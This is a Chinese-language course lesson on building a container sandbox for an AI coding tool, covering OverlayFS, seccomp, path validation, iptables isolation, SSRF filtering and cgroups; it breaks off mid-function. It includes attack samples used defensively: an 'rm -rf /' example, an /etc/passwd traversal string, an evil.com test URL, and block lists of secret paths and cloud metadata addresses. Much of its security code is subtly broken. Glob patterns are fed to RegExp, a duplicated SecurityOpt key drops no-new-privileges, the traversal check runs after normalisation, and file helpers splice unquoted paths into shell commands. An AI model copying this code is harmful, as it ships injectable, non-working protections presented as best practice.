第 5 课:安全沙盒实现
课程目标
通过本课程,你将:
- 深入理解容器化沙盒的架构设计和技术原理
- 掌握文件系统虚拟化的完整实现方案
- 学习网络隔离和防火墙配置的技术细节
- 了解进程资源限制的 cgroups 技术
- 学习 CVE-2025-59536 远程代码执行漏洞的完整分析和修复
- 能够设计和实现自己的安全沙盒系统
- 掌握 eBPF 系统调用监控的最佳实践
5.1 沙盒架构设计目标
为什么需要沙盒?
没有沙盒的后果:
用户:帮我测试这个命令
AI: rm -rf /
结果:主机系统被摧毁 😱
有了沙盒:
用户:帮我测试这个命令
AI: [在隔离环境中执行]
✓ 命令已在沙盒中执行
✓ 不影响主机系统
沙盒设计的四大目标
隔离性
Docker 容器
命名空间
cgroups
透明性
虚拟文件系统
代理层
可控性
细粒度权限
资源限制
可审计性
系统调用追踪
日志记录
1. 隔离性 (Isolation)
要求:沙盒内的操作不影响主机系统
实现技术:
- 📦 Docker 容器:进程、网络、文件系统隔离
- 🔒 Linux 命名空间:PID、Network、Mount、UTS、IPC、User
- ⚡ cgroups:CPU、内存、IO 资源限制
- 🛡️ seccomp:系统调用过滤
- 🔐 AppArmor/SELinux:强制访问控制
隔离级别对比:
| 隔离方式 | 隔离程度 | 性能开销 | 安全性 |
|---|---|---|---|
| Docker 容器 | 高 | 低 (~2%) | 中高 |
| VM 虚拟机 | 极高 | 中 (~10%) | 极高 |
| chroot | 低 | 极低 | 低 |
| Firejail | 中 | 低 | 中 |
2. 透明性 (Transparency)
要求:对合法用户无感知
实现技术:
- 📂 UnionFS:联合文件系统,分层存储
- 🔀 OverlayFS:合并多个目录为一个视图
- 🎭 FUSE:用户空间文件系统
- 🔄 Bind Mount:目录映射
示例:
bash
# OverlayFS 示例
mkdir -p /sandbox/{lowerdir,upperdir,workdir,merged}
mount -t overlay overlay \
-o lowerdir=/sandbox/lowerdir,\
upperdir=/sandbox/upperdir,\
workdir=/sandbox/workdir \
/sandbox/merged
# merged 目录现在包含:
# - lowerdir 的只读内容(基础系统)
# - upperdir 的可写内容(用户修改)
3. 可控性 (Controllability)
要求:细粒度的资源访问控制
实现技术:
- 🎯 白名单机制:默认拒绝,按需允许
- ⏱️ 时间限制:操作超时自动终止
- 📊 配额管理:磁盘、带宽限制
- 🔑 能力集控制:Linux Capabilities
4. 可审计性 (Auditability)
要求:所有操作可追溯
实现技术:
- 📝 审计日志:完整的操作记录
- 🔍 eBPF 监控:内核级系统调用追踪
- 📊 指标收集:Prometheus + Grafana
- 🚨 实时告警:异常行为检测
5.2 沙盒技术选型对比
主流沙盒技术对比
typescript
// packages/sandbox/src/sandbox-comparison.ts
interface SandboxTechnology {
name: string;
type: 'container' | 'vm' | 'syscall-filter' | 'filesystem';
isolationLevel: 'low' | 'medium' | 'high' | 'very-high';
performanceOverhead: number; // 百分比
securityRating: number; // 1-10
useCases: string[];
pros: string[];
cons: string[];
}
const technologies: SandboxTechnology[] = [
{
name: 'Docker',
type: 'container',
isolationLevel: 'high',
performanceOverhead: 2,
securityRating: 7,
useCases: [
'应用部署',
'CI/CD',
'开发环境',
'代码执行沙盒',
],
pros: [
'轻量级,启动快',
'生态完善,工具丰富',
'资源开销小',
'易于编排和管理',
],
cons: [
'容器逃逸风险',
'需要 root 权限',
'内核共享,存在攻击面',
],
},
{
name: 'gVisor',
type: 'container',
isolationLevel: 'very-high',
performanceOverhead: 15,
securityRating: 9,
useCases: [
'多租户环境',
'不可信代码执行',
'高安全需求场景',
],
pros: [
'用户空间内核,隔离性强',
'系统调用拦截和模拟',
'兼容 Docker API',
'防止容器逃逸',
],
cons: [
'性能开销较大',
'某些系统调用不支持',
'调试复杂',
],
},
{
name: 'Kata Containers',
type: 'vm',
isolationLevel: 'very-high',
performanceOverhead: 10,
securityRating: 9,
useCases: [
'云原生安全',
'多租户隔离',
'敏感工作负载',
],
pros: [
'真正的 VM 隔离',
'硬件虚拟化支持',
'兼容 OCI 标准',
'快速启动',
],
cons: [
'需要虚拟化支持',
'资源占用较多',
'复杂性高',
],
},
{
name: 'Firejail',
type: 'syscall-filter',
isolationLevel: 'medium',
performanceOverhead: 1,
securityRating: 5,
useCases: [
'桌面应用沙盒',
'浏览器隔离',
'简单隔离需求',
],
pros: [
'配置简单',
'性能开销极小',
'无需 root(部分功能)',
'预定义配置文件',
],
cons: [
'隔离性有限',
'依赖 seccomp',
'不适合高安全场景',
],
},
{
name: 'chroot',
type: 'filesystem',
isolationLevel: 'low',
performanceOverhead: 0,
securityRating: 2,
useCases: [
'简单的文件系统隔离',
'构建环境',
'遗留系统',
],
pros: [
'零性能开销',
'内核原生支持',
'实现简单',
],
cons: [
'容易被绕过',
'仅隔离文件系统',
'不隔离进程和网络',
'root 用户可以逃逸',
],
},
{
name: 'eBPF + seccomp',
type: 'syscall-filter',
isolationLevel: 'medium',
performanceOverhead: 3,
securityRating: 7,
useCases: [
'系统调用过滤',
'运行时监控',
'行为分析',
],
pros: [
'内核级监控',
'高性能',
'灵活可编程',
'实时拦截',
],
cons: [
'配置复杂',
'需要内核支持',
'调试困难',
],
},
];
/**
* Claude Code 的选择:Docker + gVisor + eBPF 多层防护
*/
export const CLAUDE_CODE_SANDBOX_CONFIG = {
primary: 'Docker', // 主要隔离
enhanced: 'gVisor', // 增强隔离(可选)
monitoring: 'eBPF', // 监控层
filtering: 'seccomp', // 系统调用过滤
mandatory: 'AppArmor', // 强制访问控制
};
/**
* 为什么选择多层防护?
*
* 1. Docker 提供基础隔离(足够应对 90% 场景)
* 2. gVisor 在高危操作时启用(如执行未知代码)
* 3. eBPF 提供实时监控和审计
* 4. seccomp 阻止危险系统调用
* 5. AppArmor 提供额外的 MAC 保护
*
* 深度防御策略:即使一层被突破,还有其他层保护
*/
5.3 文件系统沙盒
虚拟文件系统架构
用户进程
VFS 虚拟文件系统
Overlay 层
可写层 upperdir
只读层 lowerdir
基础镜像
只读文件系统
Cow 写时复制
临时存储
绑定挂载
项目目录
临时目录
阻止路径
系统路径 /etc, /usr
敏感路径 ~/.ssh, ~/.aws
完整实现
typescript
// packages/sandbox/src/filesystem/virtual-filesystem.ts
import Docker from 'dockerode';
import { spawn } from 'child_process';
import { EventEmitter } from 'events';
export interface VirtualFileSystemConfig {
// 基础镜像
baseImage: string;
// 只读层(基础系统文件)
readOnlyLayers: string[];
// 可写层(用户数据)
writableLayer: string;
// 绑定挂载(外部目录映射)
bindMounts: BindMountConfig[];
// 阻止的路径(黑名单)
blockedPaths: string[];
// 临时目录配置
tempDir: {
enabled: boolean;
sizeLimit: number; // 字节
cleanupOnExit: boolean;
};
}
export interface BindMountConfig {
// 主机路径
hostPath: string;
// 容器内路径
containerPath: string;
// 读写模式
mode: 'ro' | 'rw';
// SELinux/AppArmor 标签
selinuxLabel?: 'z' | 'Z';
}
export class VirtualFileSystem extends EventEmitter {
private config: VirtualFileSystemConfig;
private docker: Docker;
private container?: Docker.Container;
private overlayMountPoint?: string;
constructor(config: VirtualFileSystemConfig) {
super();
this.config = config;
this.docker = new Docker();
}
/**
* 初始化虚拟文件系统
*/
async initialize(): Promise<void> {
try {
// 1. 创建分层目录结构
await this.createLayerDirectories();
// 2. 拉取基础镜像
await this.pullBaseImage();
// 3. 创建容器(但不启动)
await this.createContainer();
this.emit('initialized');
} catch (error) {
this.emit('error', error);
throw error;
}
}
/**
* 创建分层目录
*/
private async createLayerDirectories(): Promise<void> {
const fs = await import('fs/promises');
const path = await import('path');
// 创建工作目录
const workDir = path.join(this.config.writableLayer, 'work');
const upperDir = path.join(this.config.writableLayer, 'upper');
const mergedDir = path.join(this.config.writableLayer, 'merged');
await fs.mkdir(workDir, { recursive: true });
await fs.mkdir(upperDir, { recursive: true });
await fs.mkdir(mergedDir, { recursive: true });
// 挂载 OverlayFS
await this.mountOverlayFS(upperDir, workDir, mergedDir);
this.overlayMountPoint = mergedDir;
}
/**
* 挂载 OverlayFS
*/
private async mountOverlayFS(
upperDir: string,
workDir: string,
mergedDir: string
): Promise<void> {
return new Promise((resolve, reject) => {
const lowerDirs = this.config.readOnlyLayers.join(':');
const mountArgs = [
'-t', 'overlay',
'overlay',
mergedDir,
'-o',
`lowerdir=${lowerDirs},upperdir=${upperDir},workdir=${workDir}`,
];
const mount = spawn('mount', mountArgs, {
stdio: 'pipe',
});
mount.on('close', (code) => {
if (code === 0) {
resolve();
} else {
reject(new Error(`mount 失败,退出码:${code}`));
}
});
mount.stderr?.on('data', (data) => {
console.error('mount error:', data.toString());
});
});
}
/**
* 创建 Docker 容器
*/
private async createContainer(): Promise<void> {
const binds: string[] = [];
// 添加绑定挂载
for (const mount of this.config.bindMounts) {
const mode = mount.mode === 'ro' ? 'ro' : 'rw';
const label = mount.selinuxLabel || '';
binds.push(`${mount.hostPath}:${mount.containerPath}:${mode}${label}`);
}
// 添加阻止路径的覆盖(用空目录或 tmpfs)
for (const blockedPath of this.config.blockedPaths) {
binds.push(`tmpfs:${blockedPath}:ro,noexec,nosuid,nodev,size=1m`);
}
const container = await this.docker.createContainer({
Image: this.config.baseImage,
Cmd: ['/bin/sh', '-c', 'while true; do sleep 1000; done'],
HostConfig: {
// 绑定挂载
Binds: binds,
// 只读根文件系统
ReadonlyRootfs: true,
// 安全选项
SecurityOpt: [
'no-new-privileges', // 禁止提权
'apparmor=docker-default', // AppArmor 配置文件
],
// 系统调用过滤
SecurityOpt: [
'seccomp=' + this.getSeccompProfile(),
],
// 删除所有能力,只添加必要的
CapDrop: ['ALL'],
CapAdd: [
'CHOWN', // 修改文件所有者
'SETUID', // 设置 UID
'SETGID', // 设置 GID
],
// 资源限制
Memory: 512 * 1024 * 1024, // 512MB
MemorySwap: 512 * 1024 * 1024, // 不允许 swap
CpuShares: 512, // CPU 份额
PidsLimit: 100, // 最多 100 个进程
// 网络隔离(稍后配置)
NetworkMode: 'none',
// 自动清理
AutoRemove: false,
},
// 环境变量
Env: [
'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
'NODE_ENV=production',
],
// 工作目录
WorkingDir: '/workspace',
// 用户(非 root)
User: '1000:1000',
});
this.container = container;
}
/**
* 获取 seccomp 配置文件
*/
private getSeccompProfile(): string {
// 自定义 seccomp 配置文件
const profile = {
defaultAction: 'SCMP_ACT_ERRNO',
architectures: ['SCMP_ARCH_X86_64', 'SCMP_ARCH_X86', 'SCMP_ARCH_X32'],
syscalls: [
{
names: [
'accept', 'access', 'alarm', 'bind', 'brk', 'clock_getres',
'clock_gettime', 'close', 'connect', 'dup', 'dup2', 'exit',
'exit_group', 'faccessat', 'fchmod', 'fchmodat', 'fchown',
'fchownat', 'fcntl', 'fstat', 'ftruncate', 'getcwd', 'getdents',
'getegid', 'geteuid', 'getgid', 'getpeername', 'getpid',
'getppid', 'getsockname', 'getsockopt', 'getuid', 'lseek',
'mkdir', 'mmap', 'mprotect', 'open', 'pipe', 'poll', 'read',
'readlink', 'recvfrom', 'rename', 'rmdir', 'select', 'sendto',
'set_robust_list', 'setsockopt', 'shutdown', 'socket', 'stat',
'unlink', 'wait4', 'write',
],
action: 'SCMP_ACT_ALLOW',
},
],
};
// 明确禁止的危险系统调用
const dangerousSyscalls = [
'ptrace', // 调试其他进程
'mount', // 挂载文件系统
'umount2', // 卸载文件系统
'reboot', // 重启系统
'swapon', // 启用 swap
'swapoff', // 禁用 swap
'init_module', // 加载内核模块
'delete_module', // 删除内核模块
'kexec_load', // 加载新内核
'setns', // 加入命名空间
'unshare', // 创建新命名空间
];
// 这些系统调用会被拒绝
profile.syscalls.push({
names: dangerousSyscalls,
action: 'SCMP_ACT_ERRNO',
});
return JSON.stringify(profile);
}
/**
* 启动容器
*/
async start(): Promise<void> {
if (!this.container) {
throw new Error('容器未创建');
}
await this.container.start();
this.emit('started');
}
/**
* 在沙盒中执行命令
*/
async executeCommand(command: string): Promise<ExecutionResult> {
if (!this.container) {
throw new Error('容器未创建');
}
const startTime = Date.now();
try {
// 创建 exec 实例
const exec = await this.container.exec({
Cmd: ['/bin/sh', '-c', command],
AttachStdout: true,
AttachStderr: true,
User: '1000:1000', // 非 root 用户
WorkingDir: '/workspace',
Env: [
'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
],
});
// 启动 exec
const stream = await exec.start({
Detach: false,
Tty: false,
});
// 收集输出
let stdout = '';
let stderr = '';
await new Promise((resolve, reject) => {
stream.on('data', (chunk) => {
// Docker stream 格式:第一个字节是类型
const type = chunk[0];
const data = chunk.slice(8).toString();
if (type === 1) {
stdout += data;
} else if (type === 2) {
stderr += data;
}
});
stream.on('end', resolve);
stream.on('error', reject);
});
// 等待完成并获取退出码
const inspectResult = await exec.inspect();
const exitCode = inspectResult.ExitCode ?? -1;
return {
success: exitCode === 0,
stdout,
stderr,
exitCode,
duration: Date.now() - startTime,
};
} catch (error) {
return {
success: false,
stdout: '',
stderr: error instanceof Error ? error.message : String(error),
exitCode: -1,
duration: Date.now() - startTime,
};
}
}
/**
* 读取沙盒中的文件
*/
async readFile(filePath: string, options?: ReadFileOptions): Promise<string> {
const result = await this.executeCommand(`cat ${filePath}`);
if (!result.success) {
throw new Error(`读取文件失败:${result.stderr}`);
}
return result.stdout;
}
/**
* 写入文件到沙盒
*/
async writeFile(filePath: string, content: string): Promise<void> {
// 确保父目录存在
const dirName = filePath.substring(0, filePath.lastIndexOf('/'));
await this.executeCommand(`mkdir -p ${dirName}`);
// 写入文件(使用 heredoc 避免转义问题)
const escapedContent = content.replace(/'/g, "'\"'\"'");
const result = await this.executeCommand(
`cat > ${filePath} << 'EOF'\n${escapedContent}\nEOF`
);
if (!result.success) {
throw new Error(`写入文件失败:${result.stderr}`);
}
}
/**
* 清理资源
*/
async cleanup(): Promise<void> {
if (this.container) {
try {
await this.container.stop({ t: 5 });
await this.container.remove({ force: true });
} catch (error) {
console.error('清理容器失败:', error);
}
}
// 卸载 OverlayFS
if (this.overlayMountPoint) {
await this.unmountOverlayFS(this.overlayMountPoint);
}
this.emit('cleaned');
}
private async unmountOverlayFS(mountPoint: string): Promise<void> {
return new Promise((resolve, reject) => {
const umount = spawn('umount', [mountPoint]);
umount.on('close', (code) => {
if (code === 0) {
resolve();
} else {
reject(new Error(`umount 失败,退出码:${code}`));
}
});
});
}
}
export interface ExecutionResult {
success: boolean;
stdout: string;
stderr: string;
exitCode: number;
duration: number;
}
export interface ReadFileOptions {
encoding?: string;
maxSize?: number;
}
路径遍历攻击防护
typescript
// packages/sandbox/src/filesystem/path-validation.ts
import * as path from 'path';
import * as fs from 'fs/promises';
/**
* 路径验证器:防止路径遍历攻击
*/
export class PathValidator {
private allowedRoots: string[];
private blockedPatterns: RegExp[];
constructor(allowedRoots: string[], blockedPatterns?: string[]) {
this.allowedRoots = allowedRoots.map(p => path.resolve(p));
this.blockedPatterns = (blockedPatterns || []).map(p => new RegExp(p));
}
/**
* 验证并解析路径
*/
async validateAndResolve(userPath: string): Promise<PathValidationResult> {
// 1. 规范化路径
const normalized = path.normalize(userPath);
// 2. 检查明显的路径遍历
if (normalized.includes('..')) {
return {
valid: false,
reason: '路径包含遍历符号 ".."',
severity: 'high',
};
}
// 3. 解析为绝对路径
const resolved = path.resolve(normalized);
// 4. 检查是否在允许的根目录下
const isAllowed = this.allowedRoots.some(root =>
resolved.startsWith(root + path.sep) || resolved === root
);
if (!isAllowed) {
return {
valid: false,
reason: `路径不在允许范围内:${resolved}`,
severity: 'high',
};
}
// 5. 检查是否匹配阻止模式
for (const pattern of this.blockedPatterns) {
if (pattern.test(resolved)) {
return {
valid: false,
reason: `路径匹配阻止模式:${pattern}`,
severity: 'medium',
};
}
}
// 6. 检查符号链接(防止 symlink 攻击)
const stats = await fs.lstat(resolved).catch(() => null);
if (stats?.isSymbolicLink()) {
const linkTarget = await fs.readlink(resolved);
const realPath = await fs.realpath(resolved);
// 递归验证链接目标
return this.validateAndResolve(realPath);
}
return {
valid: true,
resolvedPath: resolved,
relativePath: this.getRelativePath(resolved),
};
}
/**
* 获取相对于允许根目录的路径
*/
private getRelativePath(resolved: string): string {
for (const root of this.allowedRoots) {
if (resolved.startsWith(root)) {
return path.relative(root, resolved);
}
}
return resolved;
}
}
export interface PathValidationResult {
valid: boolean;
reason?: string;
resolvedPath?: string;
relativePath?: string;
severity?: 'low' | 'medium' | 'high' | 'critical';
}
/**
* 使用示例
*/
async function example() {
const validator = new PathValidator(
['/workspace', '/tmp/sandbox'],
[
'**/.env*',
'**/*.pem',
'**/.ssh/**',
]
);
// 合法路径
const result1 = await validator.validateAndResolve('/workspace/src/index.ts');
console.log(result1); // { valid: true, resolvedPath: '/workspace/src/index.ts' }
// 路径遍历攻击
const result2 = await validator.validateAndResolve('/workspace/../../../etc/passwd');
console.log(result2); // { valid: false, reason: '路径包含遍历符号 " .."' }
// 阻止的模式
const result3 = await validator.validateAndResolve('/workspace/.env.production');
console.log(result3); // { valid: false, reason: '路径匹配阻止模式' }
}
5.4 网络沙盒
网络隔离架构
容器内进程
veth pair
网桥 docker0
NAT 转发
主机网络
iptables/nftables 防火墙
允许规则
阻止规则
HTTP/HTTPS 出站
DNS 查询
入站连接
内网访问
云元数据服务
完整的网络隔离实现
typescript
// packages/sandbox/src/network/network-isolation.ts
import { spawn } from 'child_process';
import { promisify } from 'util';
const exec = promisify(require('child_process').exec);
export interface NetworkIsolationConfig {
// 网络模式
networkMode: 'none' | 'bridge' | 'host' | 'custom';
// 允许的出站端口
allowedOutboundPorts?: number[];
// 允许的域名/IP
allowedDestinations?: string[];
// 阻止的域名/IP
blockedDestinations?: string[];
// DNS 配置
dnsConfig: {
servers: string[];
useHostResolver: boolean;
};
// 防火墙规则
firewallRules: FirewallRule[];
}
export interface FirewallRule {
chain: 'INPUT' | 'OUTPUT' | 'FORWARD';
action: 'ACCEPT' | 'DROP' | 'REJECT';
protocol?: 'tcp' | 'udp' | 'icmp';
sourcePort?: number;
destinationPort?: number;
sourceIP?: string;
destinationIP?: string;
comment?: string;
}
export class NetworkIsolator {
private config: NetworkIsolationConfig;
private containerId?: string;
private networkName?: string;
constructor(config: NetworkIsolationConfig) {
this.config = config;
}
/**
* 创建隔离网络
*/
async createIsolatedNetwork(): Promise<void> {
const networkName = `sandbox-${Date.now()}`;
// 创建自定义网络
await exec(`
docker network create \\
--driver bridge \\
--opt com.docker.network.bridge.enable_ip_masquerade=true \\
--opt com.docker.network.bridge.host_binding_ipv4=0.0.0.0 \\
--internal \\
${networkName}
`);
this.networkName = networkName;
}
/**
* 配置容器的网络命名空间
*/
async configureContainerNetwork(containerId: string): Promise<void> {
this.containerId = containerId;
// 将容器连接到隔离网络
if (this.networkName) {
await exec(`docker network connect ${this.networkName} ${containerId}`);
}
// 在容器内配置防火墙规则
await this.setupFirewallRules();
// 配置 DNS
await this.configureDNS();
}
/**
* 设置 iptables 防火墙规则
*/
private async setupFirewallRules(): Promise<void> {
if (!this.containerId) {
throw new Error('容器 ID 未设置');
}
// 获取容器的网络信息
const { stdout: inspectOutput } = await exec(
`docker inspect ${this.containerId} --format '{{.NetworkSettings.IPAddress}}'`
);
const containerIP = inspectOutput.trim();
// 默认策略:阻止所有
await this.executeIptablesCommand(
`-A FORWARD -s ${containerIP} -j DROP`,
'filter'
);
// 允许已建立的连接
await this.executeIptablesCommand(
`-A FORWARD -s ${containerIP} -m state --state ESTABLISHED,RELATED -j ACCEPT`,
'filter'
);
// 允许 DNS 查询(UDP 53)
await this.executeIptablesCommand(
`-A FORWARD -s ${containerIP} -p udp --dport 53 -j ACCEPT`,
'filter'
);
// 允许 HTTP/HTTPS
if (this.config.allowedOutboundPorts) {
for (const port of this.config.allowedOutboundPorts) {
await this.executeIptablesCommand(
`-A FORWARD -s ${containerIP} -p tcp --dport ${port} -j ACCEPT`,
'filter'
);
}
}
// 阻止访问内网
const privateRanges = [
'10.0.0.0/8',
'172.16.0.0/12',
'192.168.0.0/16',
'127.0.0.0/8',
'169.254.0.0/16',
];
for (const range of privateRanges) {
await this.executeIptablesCommand(
`-A FORWARD -s ${containerIP} -d ${range} -j DROP`,
'filter'
);
}
// 阻止云元数据服务
const cloudMetadataIPs = [
'169.254.169.254', // AWS, GCP, Azure
'169.254.169.253',
];
for (const ip of cloudMetadataIPs) {
await this.executeIptablesCommand(
`-A FORWARD -s ${containerIP} -d ${ip} -j DROP`,
'filter'
);
}
// 应用自定义规则
for (const rule of this.config.firewallRules) {
await this.applyFirewallRule(rule, containerIP);
}
}
/**
* 执行 iptables 命令
*/
private async executeIptablesCommand(
args: string,
table: string = 'filter'
): Promise<void> {
const command = `iptables -t ${table} ${args}`;
try {
await exec(command);
} catch (error) {
console.error(`执行 iptables 失败:${command}`, error);
throw error;
}
}
/**
* 应用单条防火墙规则
*/
private async applyFirewallRule(
rule: FirewallRule,
containerIP: string
): Promise<void> {
let args = `-A ${rule.chain}`;
if (rule.protocol) {
args += ` -p ${rule.protocol}`;
}
if (rule.sourceIP || rule.sourcePort) {
args += ` -s ${rule.sourceIP || containerIP}`;
if (rule.sourcePort) {
args += ` --sport ${rule.sourcePort}`;
}
}
if (rule.destinationIP || rule.destinationPort) {
if (rule.destinationIP) {
args += ` -d ${rule.destinationIP}`;
}
if (rule.destinationPort) {
args += ` --dport ${rule.destinationPort}`;
}
}
args += ` -j ${rule.action}`;
if (rule.comment) {
args += ` -m comment --comment "${rule.comment}"`;
}
await this.executeIptablesCommand(args);
}
/**
* 配置 DNS
*/
private async configureDNS(): Promise<void> {
if (!this.containerId) return;
const dnsServers = this.config.dnsConfig.servers.join(' ');
// 在容器内配置 DNS
await this.executeInContainer(`
echo "nameserver ${dnsServers}" > /etc/resolv.conf
# 阻止直接修改 resolv.conf
chattr +i /etc/resolv.conf 2>/dev/null || true
`);
}
/**
* 在容器内执行命令
*/
private async executeInContainer(command: string): Promise<void> {
await exec(`docker exec ${this.containerId} sh -c '${command}'`);
}
/**
* 清理网络资源
*/
async cleanup(): Promise<void> {
if (this.networkName) {
try {
await exec(`docker network rm ${this.networkName}`);
} catch (error) {
console.error('清理网络失败:', error);
}
}
}
}
SSRF 防护深度实现
typescript
// packages/sandbox/src/network/ssrf-protection.ts
import * as dns from 'dns';
import * as net from 'net';
import { URL } from 'url';
/**
* SSRF(Server-Side Request Forgery)防护
*
* 防止攻击者利用服务器发起对内网、云服务的请求
*/
export class SSRFProtection {
// 云服务商元数据服务 IP
private static readonly CLOUD_METADATA_IPS = new Set([
'169.254.169.254', // AWS, GCP, Azure
'169.254.169.253', // Azure
'100.100.100.200', // Alibaba Cloud
'168.63.129.16', // Azure DNS
]);
// 云服务商元数据服务域名
private static readonly CLOUD_METADATA_DOMAINS = [
'metadata.google.internal',
'instance-data.aws.internal',
'metadata.azure.com',
];
// IPv4 私有地址范围
private static readonly IPV4_PRIVATE_RANGES = [
{ start: '10.0.0.0', end: '10.255.255.255' }, // 10.0.0.0/8
{ start: '172.16.0.0', end: '172.31.255.255' }, // 172.16.0.0/12
{ start: '192.168.0.0', end: '192.168.255.255' }, // 192.168.0.0/16
{ start: '127.0.0.0', end: '127.255.255.255' }, // 127.0.0.0/8
{ start: '0.0.0.0', end: '0.255.255.255' }, // 0.0.0.0/8
{ start: '169.254.0.0', end: '169.254.255.255' }, // 169.254.0.0/16
];
// IPv6 私有地址范围
private static readonly IPV6_PRIVATE_RANGES = [
'::1', // localhost
'fc00::/7', // Unique Local
'fe80::/10', // Link-Local
];
/**
* 验证 URL 是否安全
*/
static async validateURL(urlString: string): Promise<URLValidationResult> {
try {
const url = new URL(urlString);
// 1. 协议检查
if (!['http:', 'https:'].includes(url.protocol)) {
return {
safe: false,
reason: `不支持的协议:${url.protocol}`,
risk: 'high',
};
}
// 2. 检查是否是 IP 地址
if (net.isIP(url.hostname)) {
return this.validateIPAddress(url.hostname);
}
// 3. 解析域名
const ipAddresses = await this.resolveHostname(url.hostname);
// 4. 验证所有解析出的 IP
for (const ip of ipAddresses) {
const ipValidation = this.validateIPAddress(ip);
if (!ipValidation.safe) {
return ipValidation;
}
}
// 5. 检查域名是否在黑名单中
if (this.isBlockedDomain(url.hostname)) {
return {
safe: false,
reason: `域名在黑名单中:${url.hostname}`,
risk: 'high',
};
}
return {
safe: true,
reason: '验证通过',
risk: 'low',
};
} catch (error) {
return {
safe: false,
reason: `URL 解析失败:${error instanceof Error ? error.message : String(error)}`,
risk: 'medium',
};
}
}
/**
* 验证 IP 地址
*/
static validateIPAddress(ip: string): IPAddressValidationResult {
// 处理 IPv4-mapped IPv6
if (ip.startsWith('::ffff:')) {
ip = ip.slice(7);
}
// 检查是否是云元数据 IP
if (this.CLOUD_METADATA_IPS.has(ip)) {
return {
safe: false,
reason: `禁止访问云元数据服务:${ip}`,
risk: 'critical',
category: 'cloud_metadata',
};
}
// 检查 IPv4 私有地址
if (net.isIPv4(ip)) {
if (this.isPrivateIPv4(ip)) {
return {
safe: false,
reason: `禁止访问内网地址:${ip}`,
risk: 'high',
category: 'private_network',
};
}
}
// 检查 IPv6 私有地址
if (net.isIPv6(ip)) {
if (this.isPrivateIPv6(ip)) {
return {
safe: false,
reason: `禁止访问内网 IPv6 地址:${ip}`,
risk: 'high',
category: 'private_network',
};
}
}
return {
safe: true,
reason: 'IP 地址验证通过',
risk: 'low',
category: 'public_ip',
};
}
/**
* 解析主机名
*/
private static async resolveHostname(hostname: string): Promise<string[]> {
// 检查是否是云元数据域名
for (const domain of this.CLOUD_METADATA_DOMAINS) {
if (hostname === domain || hostname.endsWith('.' + domain)) {
throw new Error(`禁止解析云元数据域名:${domain}`);
}
}
// 使用 DNS 解析
const addresses = await dns.promises.resolve(hostname);
return addresses;
}
/**
* 检查是否是 IPv4 私有地址
*/
private static isPrivateIPv4(ip: string): boolean {
const ipNum = this.ipv4ToNumber(ip);
for (const range of this.IPV4_PRIVATE_RANGES) {
const startNum = this.ipv4ToNumber(range.start);
const endNum = this.ipv4ToNumber(range.end);
if (ipNum >= startNum && ipNum <= endNum) {
return true;
}
}
return false;
}
/**
* 检查是否是 IPv6 私有地址
*/
private static isPrivateIPv6(ip: string): boolean {
for (const range of this.IPV6_PRIVATE_RANGES) {
if (ip.startsWith(range.split('/')[0])) {
return true;
}
}
return false;
}
/**
* IPv4 转数字
*/
private static ipv4ToNumber(ip: string): number {
return ip.split('.').reduce((acc, octet) => {
return (acc << 8) + parseInt(octet, 10);
}, 0);
}
/**
* 检查是否是阻止的域名
*/
private static isBlockedDomain(hostname: string): boolean {
const blockedDomains = [
'localhost',
'127.0.0.1',
'0.0.0.0',
];
return blockedDomains.some(domain =>
hostname === domain || hostname.endsWith('.' + domain)
);
}
}
export interface URLValidationResult {
safe: boolean;
reason: string;
risk: 'low' | 'medium' | 'high' | 'critical';
}
export interface IPAddressValidationResult extends URLValidationResult {
category: 'cloud_metadata' | 'private_network' | 'public_ip' | 'localhost';
}
/**
* 使用示例
*/
async function ssrfExample() {
// 合法的公网 URL
const result1 = await SSRFProtection.validateURL('https://api.github.com/users/octocat');
console.log(result1); // { safe: true, reason: '验证通过', risk: 'low' }
// 尝试访问内网
const result2 = await SSRFProtection.validateURL('http://192.168.1.1/admin');
console.log(result2); // { safe: false, reason: '禁止访问内网地址', risk: 'high' }
// 尝试访问云元数据服务
const result3 = await SSRFProtection.validateURL('http://169.254.169.254/latest/meta-data/');
console.log(result3); // { safe: false, reason: '禁止访问云元数据服务', risk: 'critical' }
// DNS Rebinding 攻击(域名解析到内网 IP)
const result4 = await SSRFProtection.validateURL('http://evil.com/api');
// 如果 evil.com 解析到 192.168.1.1,会被拦截
console.log(result4); // { safe: false, ... }
}
5.5 进程沙盒
cgroups 资源限制
typescript
// packages/sandbox/src/process/cgroup-controller.ts
import { mkdir, writeFile, readFile } from 'fs/promises';
import { join } from 'path';
/**
* cgroups v2 控制器
*
* 用于限制进程组的资源使用
*/
export class CgroupController {
private cgroupPath: string;
private processId: number;
constructor(cgroupName: string, processId: number) {
// cgroups v2 统一挂载在 /sys/fs/cgroup
this.cgroupPath = join('/sys/fs/cgroup', cgroupName);
this.processId = processId;
}
/**
* 创建 cgroup
*/
async create(): Promise<void> {
try {
await mkdir(this.cgroupPath, { recursive: true });
} catch (error) {
// 可能已经存在
if ((error as any).code !== 'EEXIST') {
throw error;
}
}
}
/**
* 将进程添加到 cgroup
*/
async addProcess(): Promise<void> {
const cgroupProcsPath = join(this.cgroupPath, 'cgroup.procs');
await writeFile(cgroupProcsPath, this.processId.toString());
}
/**
* 设置内存限制
*/
async setMemoryLimit(limitBytes: number): Promise<void> {
// 内存限制
await writeFile(
join(this.cgroupPath, 'memory.max'),
limitBytes.toString()
);
// 内存 + Swap 限制
await writeFile(
join(this.cgroupPath, 'memory.swap.max'),
'0' // 不允许使用 swap
);
// 内存压力警告
await writeFile(
join(this.cgroupPath, 'memory.pressure_level'),
'medium'
);
}
/**
* 设置 CPU 限制
*/
async setCPULimit(cpuQuotaUs: number, cpuPeriodUs: number = 100000): Promise<void> {
// CPU 配额(微秒)
await writeFile(
join(this.cgroupPath, 'cpu.max'),
`${cpuQuotaUs} ${cpuPeriodUs}`
);
// CPU 权重(相对优先级)
await writeFile(
join(this.cgroupPath, 'cpu.weight'),
'100' // 默认权重
);
}
/**
* 设置进程数限制
*/
async setPidsLimit(limit: number): Promise<void> {
await writeFile(
join(this.cgroupPath, 'pids.max'),
limit.toString()
);
}
/**
* 设置 IO 限制
*/
async setIOLimit(deviceMajor: number, deviceMinor: number, bps: number): Promise<void> {
// 读取速率限制
await writeFile(
join(this.cgroupPath, 'io.max'),
`${deviceMajor}:${deviceMinor} rbps=${bps} wbps=${bps}`
);
}
/**
* 获取资源使用情况
*/
async getUsage(): Promise<CgroupUsage> {
const memoryCurrent = await readFile(
